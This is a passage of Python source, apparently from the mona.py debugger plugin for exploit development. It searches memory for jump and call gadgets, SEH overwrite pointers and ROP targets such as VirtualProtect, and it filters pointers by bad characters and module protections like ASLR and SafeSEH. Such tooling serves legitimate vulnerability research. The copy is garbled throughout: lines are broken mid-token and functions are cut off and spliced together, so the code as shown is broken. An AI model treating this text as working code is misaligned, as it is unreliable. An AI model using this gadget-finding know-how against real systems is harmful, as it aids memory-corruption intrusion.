object 0x%08x, offset +0x%02x)" % (pdata[0],pdata[1],pdata[0]-pdata[1])
else:
parent = ""
self.printObjDump(dumpdata,logfile,thisl
og,size,parent)
Info"
-----"
offset = 0
for loc in sortedkeys:
info = dumpdata[loc]
if len(info) > 1:
content = ""
if len(info) > 3:
content = info[3]
contentinfo = toAsciiOnly(info[1])
offsetstr = toSize("%02x" % offset,4)
line = "+%s 0x%08x | 0x%s %s" % (offs
etstr,loc,content,contentinfo)
if not silent:
dbg.log(line)
logfile.write(line,thislog)
offset += 4
return
def getLocInfo(self,loc,addy,startaddy,endaddy):
locinfo = []
if addy >= startaddy and addy <= endaddy:
offset = addy - startaddy
locinfo = ["self","ptr to self+0x%08x" % offset,""]
return locinfo
ismapped = False
extra = ""
ptrx = MnPointer(addy)
memloc = ptrx.memLocation()
if not "??" in memloc:
if "Stack" in memloc or "Heap" in memloc:
extra = "(%s) " % memloc
else:
detailmemloc = ptrx.getPtrFunction()
extra = " (%s.%s)" % (memloc,detailmemloc)
# maybe it's a pointer to an object ?
cmd2run = "dds 0x%08x L 1" % addy
output = dbg.nativeCommand(cmd2run)
outputlines = output.split("\n")
if len(outputlines) > 0:
if not "??" in outputlines[0]:
ismapped = True
ptraddy = outputlines[0][10:18]
ptrinfo = outputlines[0][19:]
if ptrinfo.replace(" ","") != "":
if "vftable" in ptrinfo or "Heap" in mem
loc:
locinfo = ["ptr_obj","%sptr to 0
x%08x : %s" % (extra,hexStrToInt(ptraddy),ptrinfo),str(addy)]
else:
locinfo = ["ptr","%sptr to 0x%08
x : %s" % (extra,hexStrToInt(ptraddy),ptrinfo),str(addy)]
return locinfo
if ismapped:
# pointer to a string ?
try:
strdata = dbg.readString(addy)
if len(strdata) > 2:
datastr = strdata
if len(strdata) > 80:
datastr = strdata[0:80] + "..."
locinfo = ["ptr_str","%sptr to ASCII (0x
%02x) '%s'" % (extra,len(strdata),datastr),"ascii"]
return locinfo
except:
pass
# maybe it's unicode ?
try:
strdata = dbg.readWString(addy)
if len(strdata) > 2:
datastr = strdata
if len(strdata) > 80:
datastr = strdata[0:80] + "..."
locinfo = ["ptr_str","%sptr to UNICODE (
0x%02x) '%s'" % (extra,len(strdata),datastr),"unicode"]
return locinfo
except:
pass
# maybe the pointer points into a function ?
ptrf = ptrx.getPtrFunction()
if not ptrf == "":
locinfo = ["ptr_func","%sptr to %s" % (extra,ptr
f),str(addy)]
return locinfo
# BSTR Unicode ?
try:
bstr = struct.unpack('<L',dbg.readMemory(addy,4)
)[0]
strdata = dbg.readWString(addy+4)
if len(strdata) > 2 and (bstr == len(strdata)+1)
:
datastr = strdata
if len(strdata) > 80:
datastr = strdata[0:80] + "..."
locinfo = ["ptr_str","%sptr to BSTR UNIC
ODE (0x%02x) '%s'" % (extra,bstr,datastr),"unicode"]
return locinfo
except:
pass
# pointer to a BSTR ASCII?
try:
strdata = dbg.readString(addy+4)
if len(strdata) > 2 and (bstr == len(strdata)/2)
:
datastr = strdata
if len(strdata) > 80:
datastr = strdata[0:80] + "..."
locinfo = ["ptr_str","%sptr to BSTR ASCI
#---------------------------------------#
# Various functions
#
#---------------------------------------#
def getDefaultProcessHeap():
peb = dbg.getPEBAddress()
defprocheap = struct.unpack('<L',dbg.readMemory(peb+0x18,4))[0]
return defprocheap
def getSortedSegmentList(heapbase):
segments = getSegmentsForHeap(heapbase)
sortedsegments = []
for seg in segments:
sortedsegments.append(seg)
sortedsegments.sort()
return sortedsegments
def getSegmentList(heapbase):
return getSegmentsForHeap(heapbase)
def getSegmentsForHeap(heapbase):
# either return the base of the segment, or the base of the default proc
ess heap
allsegmentsfound = False
segmentinfo = {}
global segmentlistCache
if heapbase in segmentlistCache:
return segmentlistCache[heapbase]
else:
i = 0
offset = 0x58
subtract = 0
os = dbg.getOsVersion()
segmentcnt = 0
try:
if win7mode:
# first one = heap itself
offset = 0xa8
subtract = 0x10
firstoffset = 0
firstsegbase = struct.unpack('<L',dbg.readMemory
(heapbase + 0x24,4))[0]
firstsegend = struct.unpack('<L',dbg.readMemory(
heapbase + 0x28,4))[0]
if not firstsegbase in segmentinfo:
segmentinfo[heapbase] = [firstsegbase,fi
rstsegend,firstsegbase,firstsegend]
# optional list with additional segments
# nested list
segbase = heapbase
lastindex = heapbase + offset
allsegmentsfound = False
lastsegment = struct.unpack('<L',dbg.readMemory(
heapbase+offset+4,4))[0] - subtract
if heapbase == lastsegment:
allsegmentsfound = True
segmentcnt = 1
while not allsegmentsfound and segmentcnt < 100:
nextbase = struct.unpack('<L',dbg.readMe
mory(segbase + 0x10,4))[0] - subtract
segbase = nextbase
if nextbase > 0 and (nextbase+subtract !
= lastindex):
segstart = struct.unpack('<L',db
g.readMemory(segbase + 0x24,4))[0]
segend = struct.unpack('<L',dbg.
readMemory(segbase + 0x28,4))[0]
if not segbase in segmentinfo:
segmentinfo[segbase] = [
segbase,segend,segstart,segend]
else:
allsegmentsfound = True
segmentcnt += 1
else:
while not allsegmentsfound:
thisbase = struct.unpack('<L',dbg.readMe
# Unicode
if "unicode" in criteria and not (pointer.isUnicode or pointer.unicodeTr
ansform != ""):
return False
if "unicoderev" in criteria and not pointer.isUnicodeRev:
return False
# Ascii
if "ascii" in criteria and not pointer.isAscii:
return False
# Ascii printable
if "asciiprint" in criteria and not pointer.isAsciiPrintable:
return False
# Uppercase
if "upper" in criteria and not pointer.isUppercase:
return False
# Lowercase
if "lower" in criteria and not pointer.isLowercase:
return False
# Uppercase numeric
if "uppernum" in criteria and not pointer.isUpperNum:
return False
# Lowercase numeric
if "lowernum" in criteria and not pointer.isLowerNum:
return False
# Numeric
if "numeric" in criteria and not pointer.isNumeric:
return False
# Alpha numeric
if "alphanum" in criteria and not pointer.isAlphaNumeric:
return False
# Bad chars
if "badchars" in criteria and containsBadChars(pointer.getAddress(), cri
teria["badchars"]):
return False
# Nulls
if "nonull" in criteria and pointer.hasNulls:
return False
if "startswithnull" in criteria and not pointer.startsWithNull:
return False
return True
def search(sequences,criteria=[]):
"""
Alias for 'searchInRange'
search for byte sequences in a specified address range
Arguments:
sequences - array of byte sequences to search for
start - the start address of the search (defaults to 0)
end - the end address of the search
criteria - Dictionary containing the criteria each pointer should comply
with
Return:
Dictionary (opcode sequence => List of addresses)
"""
return searchInRange(sequences,criteria)
def searchInRange(sequences, start=0, end=TOP_USERLAND,criteria=[]):
"""
search for byte sequences in a specified address range
Arguments:
sequences - array of byte sequences to search for
start - the start address of the search (defaults to 0)
end - the end address of the search
criteria - Dictionary containing the criteria each pointer should comply
with
Return:
Dictionary (opcode sequence => List of addresses)
"""
if not "accesslevel" in criteria:
criteria["accesslevel"] = "*"
global ptr_counter
global ptr_to_get
found_opcodes = {}
if (ptr_to_get < 0) or (ptr_to_get > 0 and ptr_counter < ptr_to_get):
if not sequences:
return {}
# check that start is before end
if start > end:
start, end = end, start
dbg.setStatusBar("Searching...")
dbg.getMemoryPages()
process_error_found = False
for a in dbg.MemoryPages.keys():
if (ptr_to_get < 0) or (ptr_to_get > 0 and ptr_counter <
ptr_to_get):
# get end address of the page
page_start = a
page_size = dbg.MemoryPages[a].getSize()
page_end = a + page_size
if ( start > page_end or end < page_start ):
# we are outside the search range, skip
continue
if (not meetsAccessLevel(dbg.MemoryPages[a],crit
eria["accesslevel"])):
#skip this page, not executable
continue
# if the criteria check for nulls or unicode, we
can skip
# modules that start with 00
start_fb = toHex(page_start)[0:2]
end_fb = toHex(page_end)[0:2]
if ( ("nonull" in criteria and criteria["nonull"
]) and start_fb == "00" and end_fb == "00" ):
if not silent:
dbg.log("
!Skipped search o
f range %08x-%08x (Has nulls)" % (page_start,page_end))
continue
if (( ("startswithnull" in criteria and criteria
["startswithnull"]))
and (start_fb != "00" or end_fb
!= "00")):
if not silent:
dbg.log("
!Skipped search o
f range %08x-%08x (Doesn't start with null)" % (page_start,page_end))
continue
mem = dbg.MemoryPages[a].getMemory()
if not mem:
continue
# loop on each sequence
for seq in sequences:
if (ptr_to_get < 0) or (ptr_to_get > 0 a
nd ptr_counter < ptr_to_get):
buf = None
human_format = ""
if type(seq) == str:
human_format = seq.repla
ce("\n"," # ")
buf = dbg.assemble(seq)
else:
human_format = seq[0].re
place("\n"," # ")
buf = seq[1]
recur_find = []
try:
buf_len
mem_list
= len(buf)
= mem.split
( buf )
total_length = buf_len *
-1
except:
process_error_found = Tr
ue
dbg.log(" ** Unable to p
rocess searchPattern '%s'. **" % human_format)
break
for i in mem_list:
total_length = total_len
gth + len(i) + buf_len
seq_address = a + total_
length
recur_find.append( seq_a
ddress )
#The last one is the remaining s
lice from the split
#so remove it from the list
del recur_find[ len(recur_find)
- 1 ]
page_find = []
for i in recur_find:
if ( i >= start and i <=
end ):
ptr = MnPointer(
i)
# check if point
er meets criteria
if not meetsCrit
eria(ptr, criteria):
continue
page_find.append
(i)
ptr_counter += 1
if ptr_to_get >
0 and ptr_counter >= ptr_to_get:
#stop search
if human
_format in found_opcodes:
found_opcodes[human_format] += page_find
else:
found_opcodes[human_format] = page_find
return f
ound_opcodes
#add current pointers to the lis
t and continue
if len(page_find) > 0:
if human_format in found
_opcodes:
found_opcodes[hu
man_format] += page_find
else:
found_opcodes[hu
man_format] = page_find
if process_error_found:
break
return found_opcodes
# search for byte sequences in a module
def searchInModule(sequences, name,criteria=[]):
"""
modulefound = False
module = dbg.getModule(modulename)
if(not module):
modulefound = False
else:
modulefound = True
return modulefound
def UnicodeTransformInfo(hexaddr):
"""
checks if the address can be used as unicode ansi transform
Arguments:
hexaddr - a string containing the address in hex format (4 bytes - 8 ch
aracters)
Return:
string with unicode transform info, or empty if address is not unicode t
ransform
"""
outstring = ""
transform=0
almosttransform=0
begin = hexaddr[0] + hexaddr[1]
middle = hexaddr[4] + hexaddr[5]
twostr=hexaddr[2]+hexaddr[3]
begintwostr = hexaddr[6]+hexaddr[7]
threestr=hexaddr[4]+hexaddr[5]+hexaddr[6]
fourstr=hexaddr[4]+hexaddr[5]+hexaddr[6]+hexaddr[7]
beginfourstr = hexaddr[0]+hexaddr[1]+hexaddr[2]+hexaddr[3]
threestr=threestr.upper()
fourstr=fourstr.upper()
begintwostr = begintwostr.upper()
beginfourstr = beginfourstr.upper()
uniansiconv = [ ["20AC","80"], ["201A","82"],
["0192","83"], ["201E","84"], ["2026","85"],
["2020","86"], ["2021","87"], ["02C6","88"],
["2030","89"], ["0106","8A"], ["2039","8B"],
["0152","8C"], ["017D","8E"], ["2018","91"],
["2019","92"], ["201C","93"], ["201D","94"],
["2022","95"], ["2013","96"], ["2014","97"],
["02DC","98"], ["2122","99"], ["0161","9A"],
["203A","9B"], ["0153","9C"], ["017E","9E"],
["0178","9F"]
]
# 4 possible cases :
# 00xxBBBB
# 00xxBBBC (close transform)
# AAAA00xx
# AAAABBBB
convbyte=""
transbyte=""
ansibytes=""
#case 1 and 2
if begin == "00":
for ansirec in uniansiconv:
if ansirec[0]==fourstr:
convbyte=ansirec[1]
transbyte=ansirec[1]
transform=1
break
if transform==1:
outstring +="unicode ansi transformed : 00"+twostr+"00"+
convbyte+","
ansistring=""
for ansirec in uniansiconv:
if ansirec[0][:3]==threestr:
if (transform==0) or (transform==1 and ansirec[1
] <> transbyte):
convbyte=ansirec[1]
ansibytes=ansirec[0]
ansistring=ansistring+"00"+twostr+"00"+c
onvbyte+"->00"+twostr+ansibytes+" / "
almosttransform=1
if almosttransform==1:
if transform==0:
outstring += "unicode possible ansi transform(s)
: " + ansistring
else:
outstring +=" / alternatives (close pointers) :
" + ansistring
#case 3
if middle == "00":
transform = 0
for ansirec in uniansiconv:
if ansirec[0]==beginfourstr:
convbyte=ansirec[1]
transform=1
break
if transform==1:
outstring +="unicode ansi transformed : 00"+convbyte+"00
"+begintwostr+","
#case 4
if begin != "00" and middle != "00":
convbyte1=""
convbyte2=""
transform = 0
for ansirec in uniansiconv:
if ansirec[0]==beginfourstr:
convbyte1=ansirec[1]
transform=1
break
if transform == 1:
for ansirec in uniansiconv:
if ansirec[0]==fourstr:
convbyte2=ansirec[1]
transform=2
break
if transform==2:
outstring +="unicode ansi transformed : 00"+convbyte1+"0
0"+convbyte2+","
# done
outstring = outstring.rstrip(" / ")
if outstring:
if not outstring.endswith(","):
outstring += ","
return outstring
def getSearchSequences(searchtype,searchcriteria="",type="",criteria={}):
"""
will build array with search sequences for a given search type
Arguments:
searchtype = "jmp", "seh"
SearchCriteria (optional):
<register> in case of "jmp" : string containing a register
Return:
array with all searches to perform
"""
offsets = [ "", "0x04","0x08","0x0c","0x10","0x12","0x1C","0x20","0x24"]
regs=["eax","ebx","ecx","edx","esi","edi","ebp"]
search=[]
if searchtype.lower() == "jmp":
if not searchcriteria:
searchcriteria = "esp"
searchcriteria = searchcriteria.lower()
min = 0
max = 0
if "mindistance" in criteria:
min = criteria["mindistance"]
if "maxdistance" in criteria:
max = criteria["maxdistance"]
minval = min
while minval <= max:
extraval = ""
if minval <> 0:
operator = ""
negoperator = "-"
if minval < 0:
operator = "-"
negoperator = ""
thisval = str(minval).replace("-","")
thishexval = toHex(int(thisval))
extraval = operator + thishexval
if minval == 0:
search.append("jmp " + searchcriteria )
search.append("call " + searchcriteria)
for roffset in offsets:
search.append("push "+searchcriteria+"\n
ret "+roffset)
for reg in regs:
if reg != searchcriteria:
0\x00\x00"])
search.append(["call dword ptr ds:[esp+44]","\x3e\xff\x54\x24\x4
4"])
search.append(["jmp dword ptr ss:[esp+44]","\xff\x54\x24\x44"])
search.append(["jmp dword ptr ss:[esp+44]","\xff\xa4\x24\x44\x00
\x00\x00"])
search.append(["jmp dword ptr ds:[esp+44]","\x3e\xff\x54\x24\x44
"])
search.append(["call dword ptr ss:[esp+50]","\xff\x54\x24\x50"])
search.append(["call dword ptr ss:[esp+50]","\xff\x94\x24\x50\x0
0\x00\x00"])
search.append(["call dword ptr ds:[esp+50]","\x3e\xff\x54\x24\x5
0"])
search.append(["jmp dword ptr ss:[esp+50]","\xff\x54\x24\x50"])
search.append(["jmp dword ptr ss:[esp+50]","\xff\xa4\x24\x50\x00
\x00\x00"])
search.append(["jmp dword ptr ds:[esp+50]","\x3e\xff\x54\x24\x50
"])
search.append(["call dword ptr ss:[ebp+0c]","\xff\x55\x0c"])
search.append(["call dword ptr ss:[ebp+0c]","\xff\x95\x0c\x00\x0
0\x00"])
search.append(["call dword ptr ds:[ebp+0c]","\x3e\xff\x55\x0c"])
search.append(["jmp dword ptr ss:[ebp+0c]","\xff\x65\x0c"])
search.append(["jmp dword ptr ss:[ebp+0c]","\xff\xa5\x0c\x00\x00
\x00"])
search.append(["jmp dword ptr ds:[ebp+0c]","\x3e\xff\x65\x0c"])
search.append(["call dword ptr ss:[ebp+24]","\xff\x55\x24"])
search.append(["call dword ptr ss:[ebp+24]","\xff\x95\x24\x00\x0
0\x00"])
search.append(["call dword ptr ds:[ebp+24]","\x3e\xff\x55\x24"])
search.append(["jmp dword ptr ss:[ebp+24]","\xff\x65\x24"])
search.append(["jmp dword ptr ss:[ebp+24]","\xff\xa5\x24\x00\x00
\x00"])
search.append(["jmp dword ptr ds:[ebp+24]","\x3e\xff\x65\x24"])
search.append(["call dword ptr ss:[ebp+30]","\xff\x55\x30"])
search.append(["call dword ptr ss:[ebp+30]","\xff\x95\x30\x00\x0
0\x00"])
search.append(["call dword ptr ds:[ebp+30]","\x3e\xff\x55\x30"])
search.append(["jmp dword ptr ss:[ebp+30]","\xff\x65\x30"])
search.append(["jmp dword ptr ss:[ebp+30]","\xff\xa5\x30\x00\x00
\x00"])
search.append(["jmp dword ptr ds:[ebp+30]","\x3e\xff\x65\x30"])
search.append(["call dword ptr ss:[ebp-04]","\xff\x55\xfc"])
search.append(["call dword ptr ss:[ebp-04]","\xff\x95\xfc\xff\xf
f\xff"])
search.append(["call dword ptr ds:[ebp-04]","\x3e\xff\x55\xfc"])
search.append(["jmp dword ptr ss:[ebp-04]","\xff\x65\xfc",])
search.append(["jmp dword ptr ss:[ebp-04]","\xff\xa5\xfc\xff\xff
\xff",])
included = False
#override all previous decision if "modules" criteria was provid
ed
thismodkey = thismod.moduleKey.lower().strip()
if ("modules" in criteria) and (criteria["modules"] != ""):
included = False
modulenames=criteria["modules"].split(",")
for modulename in modulenames:
modulename = modulename.strip('"').strip("'").lo
wer()
modulenamewithout = modulename.replace("*","")
if len(modulenamewithout) <= len(thismodkey):
#endswith ?
if modulename[0] == "*":
if modulenamewithout == thismodk
ey[len(thismodkey)-len(modulenamewithout):len(thismodkey)]:
if not thismod.moduleKey
in modulestoquery and not thismod.isExcluded:
modulestoquery.a
ppend(thismod.moduleKey)
#startswith ?
if modulename[len(modulename)-1] == "*":
if (modulenamewithout == thismod
key[0:len(modulenamewithout)] and not thismod.isExcluded):
if not thismod.moduleKey
in modulestoquery:
modulestoquery.a
ppend(thismod.moduleKey)
#contains ?
if ((modulename[0] == "*" and modulename
[len(modulename)-1] == "*") or (modulename.find("*") == -1)) and not thismod.isE
xcluded:
if thismodkey.find(modulenamewit
hout) > -1:
if not thismod.moduleKey
in modulestoquery:
modulestoquery.a
ppend(thismod.moduleKey)
if included:
modulestoquery.append(thismod.moduleKey)
return modulestoquery
def getPointerAccess(address):
"""
Returns access level of specified address, in human readable format
Arguments:
address - integer value
Return:
Access level (human readable format)
"""
global MemoryPageACL
paccess = ""
try:
page
= dbg.getMemoryPageByAddress( address )
if page in MemoryPageACL:
paccess = MemoryPageACL[page]
else:
paccess = page.getAccess( human = True )
MemoryPageACL[page] = paccess
except:
paccess = ""
return paccess
def getModuleProperty(modname,parameter):
"""
Returns value of a given module property
Argument :
modname - module name
parameter name - (see populateModuleInfo())
Returns :
value associcated with the given parameter / module combination
"""
modname=modname.strip()
parameter=parameter.lower()
valtoreturn=""
# try case sensitive first
for thismodule,modproperties in g_modules.iteritems():
if thismodule.strip() == modname:
return modproperties[parameter]
return valtoreturn
def populateModuleInfo():
"""
Populate global dictionary with information about all loaded modules
Return:
Dictionary
"""
if not silent:
dbg.setStatusBar("Getting modules info...")
dbg.log("[+] Generating module info table, hang on...")
dbg.log("
- Processing modules")
dbg.updateLog()
global g_modules
g_modules={}
allmodules=dbg.getAllModules()
curmod = ""
for key in allmodules.keys():
modinfo={}
thismod = MnModule(key)
if not thismod is None:
modinfo["path"]
= thismod.modulePath
modinfo["base"]
= thismod.moduleBase
modinfo["size"]
= thismod.moduleSize
modinfo["top"]
= thismod.moduleTop
modinfo["safeseh"]
= thismod.isSafeSEH
modinfo["aslr"]
= thismod.isAslr
modinfo["nx"]
= thismod.isNX
modinfo["rebase"]
= thismod.isRebase
modinfo["version"]
= thismod.moduleVersion
modinfo["os"]
= thismod.isOS
modinfo["name"]
= key
modinfo["entry"]
= thismod.moduleEntry
modinfo["codebase"]
= thismod.moduleCodebase
modinfo["codesize"]
= thismod.moduleCodesize
modinfo["codetop"]
= thismod.moduleCodetop
g_modules[thismod.moduleKey] = modinfo
else:
if not silent:
dbg.log("
- Oops, potential issue with module
%s, skipping module" % key)
if not silent:
dbg.log("
- Done. Let's rock 'n roll.")
dbg.setStatusBar("")
dbg.updateLog()
def ModInfoCached(modulename):
"""
Check if the information about a given module is already cached in the g
lobal Dictionary
Arguments:
modulename - name of the module to check
Return:
Boolean - True if the module info is cached
"""
if (getModuleProperty(modulename,"base") == ""):
return False
else:
return True
def showModuleTable(logfile="", modules=[]):
"""
Shows table with all loaded modules and their properties.
Arguments :
empty string - output will be sent to log window
or
filename - output will be written to the filename
modules - dictionary with modules to query - result of a populateModuleI
nfo() call
"""
thistable = ""
if len(g_modules) == 0:
populateModuleInfo()
thistable += "---------------------------------------------------------------------------------------------------------------------------------\n"
thistable += " Module info :\n"
thistable += "---------------------------------------------------------------------------------------------------------------------------------\n"
thistable += " Base
| Top
| Size
| Rebase | SafeSEH |
ASLR | NXCompat | OS Dll | Version, Modulename & Path\n"
thistable += "---------------------------------------------------------------------------------------------------------------------------------\n"
for thismodule,modproperties in g_modules.iteritems():
if (len(modules) > 0 and modproperties["name"] in modules or len
(logfile)>0):
rebase = toSize(str(modproperties["rebase"]),7)
base
= toSize(str("0x" + toHex(modproperties["base"])
),10)
top
= toSize(str("0x" + toHex(modproperties["top"]))
size
= toSize(str("0x" + toHex(modproperties["size"])
,10)
),10)
safeseh = toSize(str(modproperties["safeseh"]),7)
aslr
= toSize(str(modproperties["aslr"]),5)
nx
= toSize(str(modproperties["nx"]),7)
isos
= toSize(str(modproperties["os"]),7)
version = str(modproperties["version"])
path
= str(modproperties["path"])
name
= str(modproperties["name"])
thistable += " " + base + " | " + top + " | " + size + "
| " + rebase +"| " +safeseh + " | " + aslr + " | " + nx + " | " + isos + "| "
+ version + " [" + name + "] (" + path + ")\n"
thistable += "---------------------------------------------------------------------------------------------------------------------------------\n"
tableinfo = thistable.split('\n')
if logfile == "":
for tline in tableinfo:
dbg.log(tline)
else:
with open(logfile,"a") as fh:
fh.writelines(thistable)
#-----------------------------------------------------------------------#
# This is where the action is
#-----------------------------------------------------------------------#
def processResults(all_opcodes,logfile,thislog,specialcases = {},ptronly = False
):
"""
Write the output of a search operation to log file
Arguments:
all_opcodes - dictionary containing the results of a search
logfile - the MnLog object
thislog - the filename to write to
Return:
written content in log file
first 20 pointers are shown in the log window
"""
ptrcnt = 0
cnt = 0
global silent
if all_opcodes:
dbg.log("[+] Writing results to %s" % thislog)
for hf in all_opcodes:
if not silent:
try:
dbg.log("
- Number of pointers of typ
e '%s' : %d " % (hf,len(all_opcodes[hf])))
except:
dbg.log("
- Number of pointers of typ
e '<unable to display>' : %d " % (len(all_opcodes[hf])))
if not ptronly:
if not silent:
dbg.log("[+] Results : ")
messageshown = False
for optext,pointers in all_opcodes.iteritems():
for ptr in pointers:
ptrinfo = ""
modinfo = ""
ptrx = MnPointer(ptr)
modname = ptrx.belongsTo()
if not modname == "":
modobj = MnModule(modname)
ptrextra = ""
rva=0
if (modobj.isRebase or modobj.is
Aslr):
rva = ptr - modobj.modul
eBase
ptrextra = " (b+0x" + to
Hex(rva)+") "
ptrinfo = "0x" + toHex(ptr) + pt
rextra + " : " + optext + " | " + ptrx.__str__() + " " + modobj.__str__()
else:
ptrinfo = "0x" + toHex(ptr) + "
: " + optext + " | " + ptrx.__str__()
if ptrx.isOnStack():
ptrinfo += " [Stack] "
elif ptrx.isInHeap():
ptrinfo += " [Heap] "
logfile.write(ptrinfo,thislog)
if (ptr_to_get > -1) or (cnt < 20):
if not silent:
dbg.log(" %s" % ptrinfo
,address=ptr)
cnt += 1
ptrcnt += 1
if (ptr_to_get == -1 or ptr_to_get > 20)
and cnt == 20 and not silent and not messageshown:
dbg.log("... Please wait while I
'm processing all remaining results and writing everything to file...")
messageshown = True
if cnt < ptrcnt:
if not silent:
dbg.log("[+] Done. Only the first %d poi
nters are shown here. For more pointers, open %s..." % (cnt,thislog))
else:
allptr = []
ptrcnt = 0
ptrinfo = ""
dbg.log("... Please wait while I'm processing results an
d writing everything to file...")
for optext,pointers in all_opcodes.iteritems():
for ptr in pointers:
if not ptr in allptr:
ptrinfo += "0x%s\n" % toHex(ptr)
ptrcnt += 1
if not silent:
dbg.log("[+] Writing results to file")
logfile.write(ptrinfo,thislog)
if not silent:
dbg.log("[+] Done")
dbg.log("
Found a total of %d pointers" % ptrcnt, highlight=1)
dbg.setStatusBar("Done. Found %d pointers" % ptrcnt)
def mergeOpcodes(all_opcodes,found_opcodes):
"""
merges two dictionaries together
Arguments:
all_opcodes - the target dictionary
found_opcodes - the source dictionary
Return:
Dictionary (merged dictionaries)
"""
if found_opcodes:
for hf in found_opcodes:
if hf in all_opcodes:
all_opcodes[hf] += found_opcodes[hf]
else:
all_opcodes[hf] = found_opcodes[hf]
return all_opcodes
def findSEH(modulecriteria={},criteria={}):
"""
Performs a search for pointers to gain code execution in a SEH overwrite
exploit
Arguments:
modulecriteria - dictionary with criteria modules need to comply with.
Default settings are : ignore aslr, rebase and safeseh
protected modules
criteria - dictionary with criteria the pointers need to comply with.
Return:
Dictionary (pointers)
"""
type = ""
if "rop" in criteria:
type = "rop"
search = getSearchSequences("seh",0,type)
found_opcodes = {}
all_opcodes = {}
modulestosearch = getModulesToQuery(modulecriteria)
if not silent:
dbg.log("[+] Querying %d modules" % len(modulestosearch))
starttime = datetime.datetime.now()
for thismodule in modulestosearch:
if not silent:
dbg.log("
- Querying module %s" % thismodule)
dbg.updateLog()
#search
found_opcodes = searchInModule(search,thismodule,criteria)
#merge results
all_opcodes = mergeOpcodes(all_opcodes,found_opcodes)
#search outside modules
if "all" in criteria:
if "accesslevel" in criteria:
if criteria["accesslevel"].find("R") == -1:
if not silent:
dbg.log("[+] Setting pointer access leve
l criteria to 'R', to increase search results")
criteria["accesslevel"] = "R"
if not silent:
dbg.log("
New pointer access level :
%s" % criteria["accesslevel"])
if criteria["all"]:
rangestosearch = getRangesOutsideModules()
if not silent:
dbg.log("[+] Querying memory outside modules")
for thisrange in rangestosearch:
if not silent:
dbg.log("
- Querying 0x%08x - 0x%08x"
% (thisrange[0],thisrange[1]))
found_opcodes = searchInRange(search, thisrange[
0], thisrange[1],criteria)
all_opcodes = mergeOpcodes(all_opcodes,found_opc
odes)
if not silent:
dbg.log("
- Search complete, processing resul
ts")
dbg.updateLog()
return all_opcodes
def findJMP(modulecriteria={},criteria={},register="esp"):
"""
Performs a search for pointers to jump to a given register
Arguments:
modulecriteria - dictionary with criteria modules need to comply with.
Default settings are : ignore aslr and rebased modules
criteria - dictionary with criteria the pointers need to comply with.
register - the register to jump to
Return:
Dictionary (pointers)
"""
search = getSearchSequences("jmp",register,"",criteria)
found_opcodes = {}
all_opcodes = {}
modulestosearch = getModulesToQuery(modulecriteria)
if not silent:
dbg.log("[+] Querying %d modules" % len(modulestosearch))
starttime = datetime.datetime.now()
for thismodule in modulestosearch:
if not silent:
dbg.log("
- Querying module %s" % thismodule)
dbg.updateLog()
#search
found_opcodes = searchInModule(search,thismodule,criteria)
#merge results
all_opcodes = mergeOpcodes(all_opcodes,found_opcodes)
if not silent:
dbg.log("
- Search complete, processing results")
dbg.updateLog()
return all_opcodes
def findROPFUNC(modulecriteria={},criteria={},searchfuncs=[]):
"""
Performs a search for pointers to pointers to interesting functions to f
acilitate a ROP exploit
Arguments:
modulecriteria - dictionary with criteria modules need to comply with.
Default settings are : ignore aslr and rebased modules
criteria - dictionary with criteria the pointers need to comply with.
optional :
searchfuncs - array with functions to include in the search
Return:
Dictionary (pointers)
"""
found_opcodes = {}
all_opcodes = {}
ptr_counter = 0
ropfuncs = {}
funccallresults = []
ropfuncoffsets = {}
functionnames = []
modulestosearch = getModulesToQuery(modulecriteria)
if searchfuncs == []:
functionnames = ["virtualprotect","virtualalloc","heapalloc","wi
nexec","setprocessdeppolicy","heapcreate","setinformationprocess","writeprocessm
emory","memcpy","memmove","strncpy","createmutex","getlasterror","strcpy","loadl
ibrary","freelibrary","getmodulehandle","getprocaddress","openfile","createfile"
,"createfilemapping","mapviewoffile","openfilemapping"]
else:
functionnames = searchfuncs
if not silent:
dbg.log("[+] Looking for pointers to interesting functions...")
curmod = ""
#ropfuncfilename="ropfunc.txt"
#objropfuncfile = MnLog(ropfuncfilename)
#ropfuncfile = objropfuncfile.reset()
offsets = {}
offsets["kernel32.dll"] = ["virtualprotect","virtualalloc","writeprocess
memory"]
# on newer OSes, functions are stored in kernelbase.dll
offsets["kernelbase.dll"] = ["virtualprotect","virtualalloc","writeproce
ssmemory"]
offsetpointers = {}
# populate absolute pointers
for themod in offsets:
fnames = offsets[themod]
try:
themodule = MnModule(themod)
if not themodule is None:
allfuncs = themodule.getEAT()
for fn in allfuncs:
for fname in fnames:
if allfuncs[fn].lower().find(fna
me.lower()) > -1:
fname = allfuncs[fn].low
er()
if not fname in offsetpo
inters:
offsetpointers[f
name] = fn
break
except:
continue
isrebased = False
for key in modulestosearch:
curmod = dbg.getModule(key)
#is this module going to get rebase ?
themodule = MnModule(key)
isrebased = themodule.isRebase
if not silent:
dbg.log("
- Querying %s" % (key))
allfuncs = themodule.getIAT()
dbg.updateLog()
for fn in allfuncs:
thisfuncname = allfuncs[fn].lower()
thisfuncfullname = thisfuncname
if not meetsCriteria(MnPointer(fn), criteria):
continue
ptr = 0
try:
ptr=struct.unpack('<L',dbg.readMemory(fn,4))[0]
except:
pass
if ptr != 0:
# get offset to one of the offset functions
# where does pointer belong to ?
pmodname = MnPointer(ptr).belongsTo()
if pmodname != "":
if pmodname.lower() in offsets:
# find distance to each of the i
nteresting functions in this module
for interestingfunc in offsets[p
modname.lower()]:
if interestingfunc in of
fsetpointers:
offsetvalue = of
fsetpointers[interestingfunc] - ptr
operator = ""
if offsetvalue <
0:
operator
= "-"
offsetvaluehex =
toHex(offsetvalue).replace("-","")
thetype = "(%s IAT 0x%s : %s.%s (0x%s), offset to %s.%s (0x%s) : %d (%s0x%s)" % (key,toHex(fn)
,pmodname,thisfuncfullname,toHex(ptr),pmodname,interestingfunc,toHex(offsetpoint
ers[interestingfunc]),offsetvalue,operator,offsetvaluehex)
if not thetype i
n ropfuncoffsets:
ropfunco
ffsets[thetype] = [fn]
# see if it's a function we are looking for
for funcsearch in functionnames:
funcsearch = funcsearch.lower()
if thisfuncname.find(funcsearch) > -1:
extra = ""
extrafunc = ""
if isrebased:
extra = " [Warning : mod
ule is likely to get rebased !]"
extrafunc = "-rebased"
if not silent:
dbg.log("
0x%s : p
tr to %s (0x%s) (%s) %s" % (toHex(fn),thisfuncname,toHex(ptr),key,extra))
logtxt = thisfuncfullname.lower(
).strip()+extrafunc+" | 0x" + toHex(ptr)
if logtxt in ropfuncs:
ropfuncs[logtxt]
+= [fn]
else:
ropfuncs[logtxt]
= [fn]
ptr_counter += 1
if ptr_to_get > 0 and ptr_counte
r >= ptr_to_get:
